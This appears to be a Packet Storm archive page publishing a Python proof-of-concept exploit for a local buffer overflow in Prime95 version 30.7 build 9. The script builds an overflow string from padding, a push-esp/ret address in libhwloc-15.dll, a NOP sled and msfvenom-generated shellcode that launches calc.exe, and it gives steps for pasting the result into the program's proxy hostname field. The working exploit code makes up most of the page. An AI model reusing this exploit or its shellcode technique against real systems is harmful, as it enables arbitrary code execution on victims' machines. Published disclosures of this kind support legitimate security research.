Prime95 30.7 Build 9 Buffer Overflow

Authored by Yehia Elghaly

Posted Apr 27, 2022

Prime95 version 30.7 build 9 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 79bac0b7ca9b464728e6052f0272701247728bd55953b88870a22da80055f1bc **Download | Favorite | View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title:   Prime95 Version 30.7 build 9 Buffer Overflow RCE
# Discovered by: Yehia Elghaly
# Discovered Date: 2022-04-25
# Vendor Homepage: https://www.mersenne.org/
# Software Link : https://www.mersenne.org/ftp_root/gimps/p95v307b9.win32.zip
# Tested Version: 30.7 build 9
# Vulnerability Type:  Buffer Overflow (RCE) Local
# Tested on OS: Windows 7 Professional x86

# Description: Prime95 Version 30.7 build 9 Buffer Overflow RCE

# 1- How to use: open the program go to test-PrimeNet-check the square-Connections
# 2- paste the contents of open.txt in the optional proxy hostname field and the calculator will open

buffer = "A" * 144
jum = "\xd8\x29\xe7\x6e" #push esp # ret  |  {PAGE_EXECUTE_READ} [libhwloc-15.dll] ASLR: False, Rebase: False,
SafeSEH: False, OS: False, v-1.0- (C:\ex\libhwloc-15.dll)
nop = "\x90" * 20 #Nob
hot = "C" * 100

#sudo msfvenom -p windows/exec CMD=calc.exe -b "\x00\x09\x0A\x0d" -f python -v payload
payload =  b""
payload += b"\xbb\x72\xd7\x5d\x16\xdb\xc0\xd9\x74\x24\xf4\x5d"
payload += b"\x29\xc9\xb1\x31\x83\xc5\x04\x31\x5d\x0f\x03\x5d"
payload += b"\x7d\x35\xa8\xea\x69\x3b\x53\x13\x69\x5c\xdd\xf6"
payload += b"\x58\x5c\xb9\x73\xca\x6c\xc9\xd6\xe6\x07\x9f\xc2"
payload += b"\x7d\x65\x08\xe4\x36\xc0\x6e\xcb\xc7\x79\x52\x4a"
payload += b"\x4b\x80\x87\xac\x72\x4b\xda\xad\xb3\xb6\x17\xff"
payload += b"\x6c\xbc\x8a\x10\x19\x88\x16\x9a\x51\x1c\x1f\x7f"
payload += b"\x21\x1f\x0e\x2e\x3a\x46\x90\xd0\xef\xf2\x99\xca"
payload += b"\xec\x3f\x53\x60\xc6\xb4\x62\xa0\x17\x34\xc8\x8d"
payload += b"\x98\xc7\x10\xc9\x1e\x38\x67\x23\x5d\xc5\x70\xf0"
payload += b"\x1c\x11\xf4\xe3\x86\xd2\xae\xcf\x37\x36\x28\x9b"
payload += b"\x3b\xf3\x3e\xc3\x5f\x02\x92\x7f\x5b\x8f\x15\x50"
payload += b"\xea\xcb\x31\x74\xb7\x88\x58\x2d\x1d\x7e\x64\x2d"
payload += b"\xfe\xdf\xc0\x25\x12\x0b\x79\x64\x78\xca\x0f\x12"
payload += b"\xce\xcc\x0f\x1d\x7e\xa5\x3e\x96\x11\xb2\xbe\x7d"
payload += b"\x56\x4c\xf5\xdc\xfe\xc5\x50\xb5\x43\x88\x62\x63"
payload += b"\x87\xb5\xe0\x86\x77\x42\xf8\xe2\x72\x0e\xbe\x1f"
payload += b"\x0e\x1f\x2b\x20\xbd\x20\x7e\x43\x20\xb3\xe2\xaa"
payload += b"\xc7\x33\x80\xb2"

evil = buffer + jum + nop + payload

file = open('PExploit.txt','w+')
file.write(evil)
file.close()
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- Older

Systems

AIX	(426)
Apple	(1,926)

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other

© 2022 Packet Storm. All rights reserved.

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed